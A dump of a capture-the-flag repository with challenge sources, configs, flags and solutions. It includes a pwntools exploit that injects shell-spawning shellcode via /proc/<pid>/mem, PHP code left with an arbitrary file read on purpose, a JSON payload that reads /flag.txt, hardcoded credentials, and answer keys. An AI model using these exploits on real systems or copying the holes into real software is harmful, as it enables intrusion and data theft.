--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 |
5 | exe = ELF("./chall")
6 |
7 | context.binary = exe
8 |
9 |
10 | def conn():
11 | if args.LOCAL:
12 | r = process([exe.path])
13 | if args.GDB:
14 | gdb.attach(r)
15 | else:
16 | r = remote("localhost", 1337)
17 |
18 | return r
19 |
20 |
21 | def main():
22 | r = conn()
23 |
24 | parent_pid = int(r.recvregex(b'\d{1,6}\n', capture=True).group().strip())
25 | info(f'parent pid: {parent_pid}')
26 |
27 | parent_shellcode = shellcraft.sh()
28 | asm_parent_shellcode = asm(parent_shellcode)
29 |
30 | shellcode = shellcraft.open(f'/proc/{parent_pid}/mem', 2) + shellcraft.lseek('rax', 0x401c8f, 0) + shellcraft.write(3, asm_parent_shellcode, len(asm_parent_shellcode)) + shellcraft.exit(0)
31 |
32 | print(shellcode)
33 |
34 | r.sendlineafter(b'shellcode:', asm(shellcode))
35 |
36 | # good luck pwning :)
37 |
38 | r.interactive()
39 |
40 |
41 | if __name__ == "__main__":
42 | main()
43 |
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:24.04
2 |
3 | RUN apt update && apt install -y socat
4 |
5 | WORKDIR /app/
6 |
7 | COPY ./chall /app/chall
8 | COPY ./flag /app/flag
9 |
10 | RUN chown root:root /app/flag
11 | RUN chown root:root /app/chall
12 |
13 | RUN chmod 444 /app/flag
14 | RUN chmod 555 /app/chall
15 |
16 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./chall\""]
17 |
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-src/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/secure-sandbox/challenge-src/chall
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-src/flag:
--------------------------------------------------------------------------------
1 | █▀▀▀▀▀█ ▀█▀▀ ▀█▄▀█▄▄▀█ █ █▀▀▀▀▀█
2 | █ ███ █ ▀▀█ ▄ ▄██▄██▄█ █ ███ █
3 | █ ▀▀▀ █ ▀▄█▀▄██ ▄▀▀▀▄█▄▄ █ ▀▀▀ █
4 | ▀▀▀▀▀▀▀ █ █▄▀▄▀ ▀▄█ ▀ ▀▄▀ ▀▀▀▀▀▀▀
5 | ▄▄▄█▀▄ ▄▀▀▄▀▄▄▄ █ ▀█▀▄▀▄█ █▄▀
6 | ▀▀ ██▀▄█ ▄▄ ▄█▄█ ▄ ▀▄ ▀▀ ▄▄▀▄ ▄
7 | █ ▀█▀▀▀▄▀█▄▀▄▀██▄▄▀█ ▀█▀ ▄█▀▀▄▄
8 | ▄█ ▀▀▀▀▄███ ▄▄▀▄▀ ▀▄ ▀▄▄ ▄▄ ▄██▄
9 | ▄▀▀ ▄█▀██▀ █▀▄█ ▄▀▄ ▀██▀█ ▄▀█ ██
10 | ▀ ▄ ▀ ▀▀██▀ █▀ ███▄▀ ██ ▄▄█▄███
11 | █▀▄▀██▀▀█▄ █ ▀▄█ █▀▄ ▄█ ▄▀███▀█▀
12 | █ █ ▀█▄ ▄ ▀███▀ ▀▄ ▄▄█ ▀▀▄█▄
13 | ▀▀▀ ▀▀█▄▀█ █ ▀█▀█▄█▄▄██▀▀▀█ ▄▀▀
14 | █▀▀▀▀▀█ ▄▄█▄█ ██▀▀ ██▄█▀█ ▀ █▄██
15 | █ ███ █ ▄▄▄▄ █▀▄█▄█▀█▀▄▀█▀▀▀ █▀
16 | █ ▀▀▀ █ ▄▀▀▄█▄ █ ▀ ▄▄ ▀ █▄█▀▀
17 | ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀ ▀ ▀
18 |
--------------------------------------------------------------------------------
/rev/keystore-rs/challenge-handout/keystore-rs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/keystore-rs/challenge-handout/keystore-rs
--------------------------------------------------------------------------------
/rev/keystore-rs/challenge-solution/SOLUTION.md:
--------------------------------------------------------------------------------
1 | - figure out how the key is encrypted (see the source)
2 | - key is blahajs_for_the_win_c6e3a9b36269, gives u flag
3 |
--------------------------------------------------------------------------------
/rev/keystore-rs/challenge-src/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "keystore-rs"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | [dependencies]
7 | aes = "0.8.4"
8 | aes-gcm = "0.10.3"
9 | base64 = "0.22.1"
10 | block-modes = "0.9.1"
11 | block-padding = "0.3.3"
12 | debugoff = "0.2.2"
13 | fancy = "0.3.1"
14 | hex = "0.4.3"
15 | inquire = "0.7.5"
16 | termcolor = "1.4.1"
17 |
18 | [profile.release]
19 | strip = true # Automatically strip symbols from the binary.
20 | opt-level = "z"
21 | lto = true
22 | codegen-units = 1
23 | panic = "abort"
24 |
--------------------------------------------------------------------------------
/rev/keystore-rs/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: keystore-rs
5 | namespace: berg
6 | spec:
7 | categories:
8 | - rev
9 | difficulty: hard # Must be one of baby/easy/medium/hard/leet
10 | author: Coderion
11 | # Change to true if your challenge requires a reverse shell or other form of data exfiltration
12 | allowOutboundTraffic: false
13 | flag: x3c{rust_r3v_paiiiin_:3}
14 | flagFormat: x3c{...}
15 | description: |
16 | you wanted more pwn - so i wrote a rust rev challenge. xoxo
17 | hideUntil: "2025-01-25T18:00:00+00:00"
18 | attachments:
19 | - fileName: keystore-rs.tar.gz
20 | downloadUrl: /handouts/keystore-rs.tar.gz
21 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_darwin_amd64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_darwin_amd64
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_darwin_arm64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_darwin_arm64
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_linux_386:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_linux_386
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_linux_amd64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_linux_amd64
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_linux_arm64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_linux_arm64
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_windows_386:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_windows_386
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_windows_amd64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_windows_amd64
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-handout/netmsg_windows_arm64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_windows_arm64
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-solution/README.txt:
--------------------------------------------------------------------------------
1 | 1. rev the binary to figure out the binary protocol in use
2 | 2. notice that `x3c/common.Msg` uses all types from 1 to 14 besides 8 (note: client command output orders the removed "get flag" option between "view message box" (types 6 and 7) and "read message" (types 9 and 10))
3 | 3a. mess around with a debugger to trigger the exchange
4 | 3b. implement your own client (provided as main.py here)
5 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-solution/requirements.txt:
--------------------------------------------------------------------------------
1 | pycryptodome
2 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23 AS builder
2 |
3 | WORKDIR /
4 | RUN mkdir /app/
5 | ADD go.work /app/
6 | ADD server /app/server/
7 | ADD common /app/common/
8 | ADD client /app/client/
9 |
10 | RUN go build -C /app/server -tags netgo -o /server
11 |
12 | FROM scratch
13 | COPY --from=builder /server /server
14 |
15 | EXPOSE 5001
16 | USER 1000:1000
17 |
18 | ENTRYPOINT ["/server"]
19 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # use go1.22 for better rev-ability i guess lol
4 |
5 | for goos in linux windows darwin; do
6 | for goarch in amd64 arm64 386; do
7 | if [[ $goos == darwin ]] && [[ $goarch == 386 ]]; then
8 | # skip
9 | continue
10 | fi
11 | GOOS=$goos GOARCH=$goarch go build -C client -trimpath -o ../../challenge-handout/netmsg_${goos}_${goarch}
12 | done
13 | done
14 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/client/go.mod:
--------------------------------------------------------------------------------
1 | module x3c/client
2 |
3 | go 1.22.6
4 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/client/math.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | func gcdExtended(a, b int64) (int64, int64, int64) {
4 | var u, y, v, x int64 = 1, 1, 0, 0
5 | for a > 0 {
6 | q := b / a
7 | x, u = u, x-q*u
8 | y, v = v, y-q*v
9 | b, a = a, b-q*a
10 | }
11 | return b, x, y
12 | }
13 |
14 | func gcd(a, b int64) int64 {
15 | ret, _, _ := gcdExtended(a, b)
16 | return ret
17 | }
18 |
19 | func lcm(a, b int64) int64 {
20 | return a * b / gcd(a, b)
21 | }
22 |
23 | func modInv(a, m int64) int64 {
24 | _, x, _ := gcdExtended(a, m)
25 |
26 | return (m + (x % m)) % m
27 | }
28 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/common/go.mod:
--------------------------------------------------------------------------------
1 | module x3c/common
2 |
3 | go 1.22.6
4 |
5 | require github.com/howeyc/crc16 v0.0.0-20171223171357-2b2a61e366a6
6 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/common/go.sum:
--------------------------------------------------------------------------------
1 | github.com/howeyc/crc16 v0.0.0-20171223171357-2b2a61e366a6 h1:IIVxLyDUYErC950b8kecjoqDet8P5S4lcVRUOM6rdkU=
2 | github.com/howeyc/crc16 v0.0.0-20171223171357-2b2a61e366a6/go.mod h1:JslaLRrzGsOKJgFEPBP65Whn+rdwDQSk0I0MCRFe2Zw=
3 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/go.work:
--------------------------------------------------------------------------------
1 | go 1.22.6
2 |
3 | use (
4 | ./client
5 | ./common
6 | ./server
7 | )
8 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/server/go.mod:
--------------------------------------------------------------------------------
1 | module x3c/server
2 |
3 | go 1.22.6
4 |
--------------------------------------------------------------------------------
/rev/netmsg-1/challenge-src/server/secrets.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | // should probably not be distributed
4 |
5 | const (
6 | USER1 = "delta_star"
7 | PASS1 = "whiskey_demon"
8 |
9 | USER2 = "goober_supreme"
10 | PASS2 = "1jWXdR0uk62f"
11 |
12 | FLAG1 = "x3c{h1dd3n_funct1on4lity_w00t_w00t}"
13 | FLAG2 = "x3c{3l1t3_crypt0_0nly_cough_cough_clickplc}"
14 | )
15 |
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-handout/netmsg-2.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-2/challenge-handout/netmsg-2.pcap
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-solution/README.txt:
--------------------------------------------------------------------------------
1 | 1. rev the binary to figure out the super-secure 32-bit RSA encryption used to secure the session key and extract the static AES key
2 | 2. decrypt the traffic to get the username and password
3 | 3. connect to the service yourself with them and get the message with the ident "flag" for the flag
4 |
5 | the regular client can be used, but the solve script from netmsg-1 is reused here as a quickly runnable proof of concept
6 |
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-solution/flag1.py:
--------------------------------------------------------------------------------
1 | ../../netmsg-1/challenge-solution/flag1.py
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-solution/requirements.txt:
--------------------------------------------------------------------------------
1 | ../../netmsg-1/challenge-solution/requirements.txt
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-src/build.sh:
--------------------------------------------------------------------------------
1 | ../../netmsg-1/challenge-src/build.sh
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-src/client:
--------------------------------------------------------------------------------
1 | ../../netmsg-1/challenge-src/client
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-src/common:
--------------------------------------------------------------------------------
1 | ../../netmsg-1/challenge-src/common
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-src/go.work:
--------------------------------------------------------------------------------
1 | ../../netmsg-1/challenge-src/go.work
--------------------------------------------------------------------------------
/rev/netmsg-2/challenge-src/server:
--------------------------------------------------------------------------------
1 | ../../netmsg-1/challenge-src/server
--------------------------------------------------------------------------------
/rev/notcrypto/challenge-handout/spn:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/notcrypto/challenge-handout/spn
--------------------------------------------------------------------------------
/rev/notcrypto/challenge-solution/todo.py:
--------------------------------------------------------------------------------
1 | # TODO: implement the pwntools pwndbg soln
2 |
--------------------------------------------------------------------------------
/rev/notcrypto/challenge-src/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | clang++ spn.cpp -o spn -O3 -march=native -D_FORTIFY_SOURCE=2 -Wl,--strip-all
3 | dbg:
4 | clang++ spn.cpp -o dbg -O2 -g -march=native -D_FORTIFY_SOURCE=2
5 |
--------------------------------------------------------------------------------
/rev/notcrypto/challenge-src/flag.txt:
--------------------------------------------------------------------------------
1 | x3c{pwndbg_and_pwntools_my_belowed_573498532832}
2 |
--------------------------------------------------------------------------------
/rev/notcrypto/challenge-src/spn:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/notcrypto/challenge-src/spn
--------------------------------------------------------------------------------
/rev/notcrypto/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: notcrypto
5 | namespace: berg
6 | spec:
7 | categories:
8 | - rev
9 | difficulty: easy # Must be one of baby/easy/medium/hard/leet
10 | author: dagurb
11 | flag: x3c{pwndbg_and_pwntools_my_belowed_573498532832}
12 | flagFormat: x3c{...}
13 | description: |
14 | You shouldn't need to call your crypto teammate for this challenge lol.
15 | attachments:
16 | - fileName: notcrypto.tar.gz
17 | downloadUrl: /handouts/notcrypto.tar.gz
18 |
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache:
--------------------------------------------------------------------------------
1 | ghcpkg
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3.pantry-write-lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3.pantry-write-lock
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/Dockerfile:
--------------------------------------------------------------------------------
1 | # Use the official Haskell image based on Ubuntu
2 | FROM haskell:9.8.4
3 | # Set the working directory
4 | WORKDIR /app
5 |
6 | ENV DEBIAN_FRONTEND=noninteractive
7 |
8 | RUN apt-get update && apt-get install socat -y
9 |
10 | # Copy the rest of your application code
11 | COPY hs_src/. .
12 |
13 | # Build the application
14 | RUN stack build
15 |
16 | # Specify the command to run your application
17 | CMD ["/usr/bin/socat", "tcp-listen:4000,reuseaddr,fork", "exec:'stack exec ohmygadt'"]
18 |
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | ohmygadt:
3 | build: .
4 | ports:
5 | - "4000:4000"
6 |
7 |
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache:
--------------------------------------------------------------------------------
1 | ghcpkg
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3.pantry-write-lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3.pantry-write-lock
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/hs_src/Setup.hs:
--------------------------------------------------------------------------------
1 | import Distribution.Simple
2 | main = defaultMain
3 |
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/hs_src/ohmygadt.cabal:
--------------------------------------------------------------------------------
1 | cabal-version: 2.2
2 |
3 | name: ohmygadt
4 | version: 0.1.0.0
5 | -- synopsis:
6 | -- description:
7 | license: BSD-3-Clause
8 | author: natan.p
9 | maintainer: natan.p@localhost
10 | copyright: 2025 natan.p
11 | category: Web
12 | build-type: Simple
13 |
14 | executable ohmygadt
15 | hs-source-dirs: src
16 | main-is: Main.hs
17 | default-language: Haskell2010
18 | build-depends: base >= 4.7 && < 5
19 | ghc-options: -Wall
20 | -Wcompat
21 | -Widentities
22 | -Wincomplete-record-updates
23 | -Wincomplete-uni-patterns
24 | -Wmissing-export-lists
25 | -Wmissing-home-modules
26 | -Wpartial-fields
27 | -Wredundant-constraints
28 |
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-handout/hs_src/stack.yaml.lock:
--------------------------------------------------------------------------------
1 | # This file was autogenerated by Stack.
2 | # You should not edit this file by hand.
3 | # For more information, please see the documentation at:
4 | # https://docs.haskellstack.org/en/stable/lock_files
5 |
6 | packages: []
7 | snapshots:
8 | - completed:
9 | sha256: dd89d2322cb5af74c6ab9d96c0c5f6c8e6653e0c991d619b4bb141a49cb98668
10 | size: 679282
11 | url: https://raw.githubusercontent.com/commercialhaskell/stackage-snapshots/master/lts/23/3.yaml
12 | original:
13 | url: https://raw.githubusercontent.com/commercialhaskell/stackage-snapshots/master/lts/23/3.yaml
14 |
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge-src:
--------------------------------------------------------------------------------
1 | challenge-handout
--------------------------------------------------------------------------------
/rev/oh_my_gadt/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: oh-my-gadt
5 | namespace: berg
6 | spec:
7 | categories:
8 | - mvm
9 | - rev
10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet
11 | author: natan.p
12 | flag: MVM{::333:3:/::33::33/w0w_g4d75_n_ph4n70m5_y1pp33}
13 | flagFormat: MVM{...}
14 | description: |
15 | We had our unpaid intern make an uncrackable key checker.
16 | They quit because of "inadequate pay", but they took the source code and the keys with them.
17 | We really need these keys!
18 | attachments:
19 | - fileName: oh_my_gadt.tar.gz
20 | downloadUrl: /handouts/oh_my_gadt.tar.gz
21 |
--------------------------------------------------------------------------------
/rev/pickle-season/challenge-handout:
--------------------------------------------------------------------------------
1 | challenge-src
--------------------------------------------------------------------------------
/rev/pickle-season/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: pickle-season
5 | namespace: berg
6 | spec:
7 | categories:
8 | - mvm
9 | - rev
10 | difficulty: medium
11 | author: hackrrr
12 | flag: MVM{B0r3d0m_1n_P1ckl3_s34s0n}
13 | flagFormat: MVM{...}
14 | description: |
15 | It is that ~~silly~~ pickle season again... Nothing happens, no CTF challenges, just boredom. And so I created this challenge to fight that and help you to get through this season.
16 | I just hope you are not afraid of pickles.
17 |
18 | attachments:
19 | - fileName: pickle-season.tar.gz
20 | downloadUrl: /handouts/pickle-season.tar.gz
21 |
--------------------------------------------------------------------------------
/web/MVMCheckers-Inc/challenge-handout/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/web/MVMCheckers-Inc/challenge-handout/.idea/inspectionProfiles/Project_Default.xml:
--------------------------------------------------------------------------------
1 |
Refer to the various sub-pages for information and configuration.
8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/magicians.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 |$name
20 |This page does not exist ):
"; 17 | exit(); 18 | } 19 | 20 | function interpret($section) { 21 | $content = null; 22 | 23 | switch ($section->type) { 24 | case "text": 25 | $content = $section->value; 26 | break; 27 | case "link": 28 | $content = file_get_contents($section->value); 29 | break; 30 | } 31 | 32 | return "<$section->tag>$content$section->tag>"; 33 | } 34 | 35 | echo ""; 36 | 37 | foreach ($pageObject->sections as $section) { 38 | echo interpret($section); 39 | } 40 | 41 | echo ""; 42 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/style.css: -------------------------------------------------------------------------------- 1 | .magician-image { 2 | width: 500px; 3 | height: 500px; 4 | object-fit: cover; 5 | } -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-solution/exfil.json: -------------------------------------------------------------------------------- 1 | {"num": "\x56","sections":[{"type":"link","tag":"h1","value":"/flag.txt"}]} 2 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-solution/magic.txt: -------------------------------------------------------------------------------- 1 | 0 string { foo image bar 2 | !:mime image/jpeg 3 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-solution/magic.xbm: -------------------------------------------------------------------------------- 1 | 0 string { foo image bar 2 | !:mime image/jpeg 3 | 4 | 5 | #define test_width 16 6 | #define test_height 7 7 | #static unsigned char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60}; 8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 |Refer to the various sub-pages for information and configuration.
8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/magicians.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 |$name
20 |This page does not exist ):
"; 17 | exit(); 18 | } 19 | 20 | function interpret($section) { 21 | $content = null; 22 | 23 | switch ($section->type) { 24 | case "text": 25 | $content = $section->value; 26 | break; 27 | case "link": 28 | $content = file_get_contents($section->value); 29 | break; 30 | } 31 | 32 | return "<$section->tag>$content$section->tag>"; 33 | } 34 | 35 | echo ""; 36 | 37 | foreach ($pageObject->sections as $section) { 38 | echo interpret($section); 39 | } 40 | 41 | echo ""; 42 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/src/style.css: -------------------------------------------------------------------------------- 1 | .magician-image { 2 | width: 500px; 3 | height: 500px; 4 | object-fit: cover; 5 | } -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: mvmcheckers-inc 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - web 10 | difficulty: hard 11 | author: joneswastaken 12 | flag: MVM{c7f5_4r3_4_m461c_pl4c3_4r3n7_7h3y} 13 | flagFormat: MVM{...} 14 | description: | 15 | Welcome new employee! As you are aware, we atLoading...
19 |Loading...
19 |Loading...
19 |